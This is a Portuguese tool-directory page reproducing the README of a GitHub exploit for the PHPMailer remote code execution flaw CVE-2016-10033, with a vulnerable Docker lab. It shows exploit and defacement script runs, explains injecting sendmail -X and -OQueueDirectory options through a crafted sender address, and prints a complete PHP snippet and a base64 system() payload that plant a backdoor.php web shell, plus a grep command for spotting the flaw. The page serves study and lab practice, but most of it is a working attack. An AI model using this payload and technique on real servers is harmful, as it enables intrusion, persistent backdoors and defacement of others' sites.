Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/opsxcq/exploit-cve-2016-10033
Análise Estática de Código (SAST)Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubopsxcq/exploit-cve-2016-10033

exploit-CVE-2016-10033

PHPMailer < 5.2.18 Exploit de Execução Remota de Código e contêiner vulnerável

Ver RepositórioSite
408144há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PHPMailer < 5.2.18 Execução Remota de Código

Docker Pulls License

PHPMailer é a classe de transporte mais popular do mundo, com cerca de 9 milhões de usuários em todo o mundo. Os downloads continuam em um ritmo significativo diariamente. Usado por muitos projetos de código aberto: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! e muitos mais

O PHPMailer anterior à sua versão 5.2.18 sofre de uma vulnerabilidade que poderia levar à execução remota de código (RCE). A função mailSend no transporte isMail no PHPMailer, quando a propriedade Sender não está definida, pode permitir que atacantes remotos passem parâmetros extras para o comando mail e consequentemente executem código arbitrário através de um " (barra invertida e aspas duplas) em um endereço From manipulado.

Ambiente vulnerável

Para configurar um ambiente vulnerável para o seu teste, você precisará ter o Docker instalado e apenas execute o seguinte comando:

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

E ele iniciará uma aplicação web vulnerável no seu host na porta 8080

vulnerable

Exploit

Para explorar este alvo, execute:

root@kitploit:~
./exploit host:port

Se você estiver usando esta imagem vulnerável, execute:

root@kitploit:~
./exploit localhost:8080

Após a exploração, um arquivo chamado backdoor.php será armazenado na pasta raiz do diretório web. E o exploit fornecerá um shell onde você pode enviar comandos para o backdoor:

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

E é isso, você tem seu shell. Existe outro exploit, que ilustra outro caso de uso.

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

E se você visitar a página novamente, verá isto:

defaced

Código vulnerável

Antes deste commit em class.phpmailer.php em um determinado cenário não há filtro nos caracteres especiais do endereço de email do remetente. Esta falha pode levar a uma execução remota de código, através da função mail aqui.

Analisando o código, não há filtro na função mailSend()

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender é diretamente anexado à variável $params, que foi filtrada na função validateAddress(), mas como ela usa a especificação RFC 3696, permite certos caracteres que quebrarão as coisas. Neste caso, aspas:

Além de usar aspas usando o caractere de barra invertida, os caracteres convencionais de aspas duplas podem ser usados para cercar strings. Por exemplo

"Abc@def"@example.com

"Fred Bloggs"@example.com

são formas alternativas dos dois primeiros exemplos acima. Essas formas com aspas raramente são recomendadas e são incomuns na prática, mas, como discutido acima, devem ser suportadas por aplicações que estão processando endereços de email. Em particular, as formas com aspas frequentemente aparecem no contexto de endereços associados a transições de outros sistemas e contextos; esses requisitos transicionais ainda surgem e, uma vez que um sistema que aceita um endereço de email fornecido pelo usuário não pode "saber" se esse endereço está associado a um sistema legado, as formas de endereço devem ser aceitas e passadas para o ambiente de email.

Você pode ler a RFC completa aqui se quiser. Mas também, se a versão do PHP for inferior a 5.2.0 e não houver PCRE instalado, a variável $patternselect em validateAddress() será definida como noregex. Isso fará com que a entrada seja capaz de evitar qualquer verificação regex. Ela passará apenas por uma pequena verificação:

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Então, o fluxo do código vai para a função mailPassthru(), que, se estiver rodando em safe_mode, não será vulnerável a esta falha, como o código a seguir afirma:

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Mas, se não estiver rodando em safe_mode, então nosso parâmetro especial será passado para mail() e, se tivermos sorte, ele obterá nosso arquivo contendo o que quisermos que seja escrito onde escolhermos que seja escrito.

Notas sobre a exploração da função mail() do PHP

A exploração da função mail() do PHP não é novidade, mas ainda está viva e as pessoas ainda a usam. Para explicar como funciona, vamos ver como a função mail() é definida:

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Existem vários métodos de exploração para resultados diferentes, vamos nos concentrar na exploração do 5º parâmetro para obter Execução Remota de Código (RCE). O parâmetro $additional_parameters é usado para passar flags adicionais como opções de linha de comando para o programa configurado para enviar o email. Esta configuração é definida pela variável sendmail_path.

Uma nota de segurança da documentação oficial do PHP:

O parâmetro additional_parameters pode ser usado para passar flags adicionais como opções de linha de comando para o programa configurado para ser usado ao enviar e-mail, conforme definido pela configuração sendmail_path. Por exemplo, isso pode ser usado para definir o endereço do remetente do envelope ao usar o sendmail com a opção -f sendmail.

Este parâmetro é escapado internamente por escapeshellcmd() para evitar a execução de comandos. escapeshellcmd() impede a execução de comandos, mas permite adicionar parâmetros adicionais. Por razões de segurança, é recomendado que o usuário sanitize este parâmetro para evitar adicionar parâmetros indesejados ao comando shell.

Considerando os parâmetros adicionais que podem ser injetados, usaremos -X para explorar esta falha. Mais sobre o parâmetro -X

root@kitploit:~
-X logfile
Registra todo o tráfego de entrada e saída dos mailers no arquivo de log indicado. Isso deve ser usado apenas como último recurso para depurar bugs do mailer. Ele registrará muitos dados muito rapidamente.

Existem também alguns outros parâmetros interessantes que você deve saber que existem:

root@kitploit:~
-Cfile
Usa um arquivo de configuração alternativo. O Sendmail desiste de quaisquer privilégios elevados (set-user-ID ou set-group-ID) se um arquivo de configuração alternativo for especificado.

E

root@kitploit:~
-O option=value
Define a opção option para o valor especificado. Este formulário usa nomes longos.

E para a opção -O, o QueueDirectory é a opção mais interessante, esta opção seleciona o diretório no qual enfileirar mensagens.

Se você quiser ler a lista completa de parâmetros e opções, apenas man sendmail ou leia online aqui

Com base nesta informação e na capacidade de controlar pelo menos um dos outros parâmetros, podemos explorar o host. Abaixo as etapas para uma exploração bem-sucedida:

  • Controlar $additional_parameters e outro parâmetro de mail()
  • Conhecer um diretório gravável no host alvo que seja acessível via sistema alvo e usuário (www-data, por exemplo). Normalmente, este diretório pode ser qualquer coisa abaixo de webroot (aka /var/www/html para outros sistemas, /www para este exemplo)
  • Qualquer payload PHP que você queira, estamos usando um payload simples de system() neste exemplo, com um toque de base64 e alguns caracteres especiais | para facilitar a análise.
  • Apenas monte tudo junto!

Lembre-se que a opção -X escreverá o arquivo de log, que conterá, entre as informações de log, seu payload PHP, no diretório que você informar. Um exemplo de código PHP vulnerável:

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

Se você executar o código acima, ele criará um arquivo de log em /www/backdoor.php, esta é a essência deste exploit.

Payload

Abaixo o payload usado neste exemplo

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

Quero caçar bugs, e agora?

Quer uma maneira fácil, com um único comando, de tentar detectar esta falha? Lembre-se deste comando grep mágico!

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Executando-o neste repositório resultará em

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

Créditos

Esta vulnerabilidade foi descoberta por Dawid Golunski.

Aviso Legal

Este ou programas anteriores são APENAS para fins educacionais. Não o use sem permissão. O aviso legal usual se aplica, especialmente o fato de que eu (opsxcq) não sou responsável por quaisquer danos causados pelo uso direto ou indireto das informações ou funcionalidade fornecidas por esses programas. O autor ou qualquer provedor de Internet não assume NENHUMA responsabilidade pelo conteúdo ou uso indevido desses programas ou qualquer derivado deles. Ao usar esses programas, você aceita o fato de que qualquer dano (perda de dados, falha do sistema, comprometimento do sistema, etc.) causado pelo uso desses programas não é de responsabilidade do opsxcq.

Baixar ferramenta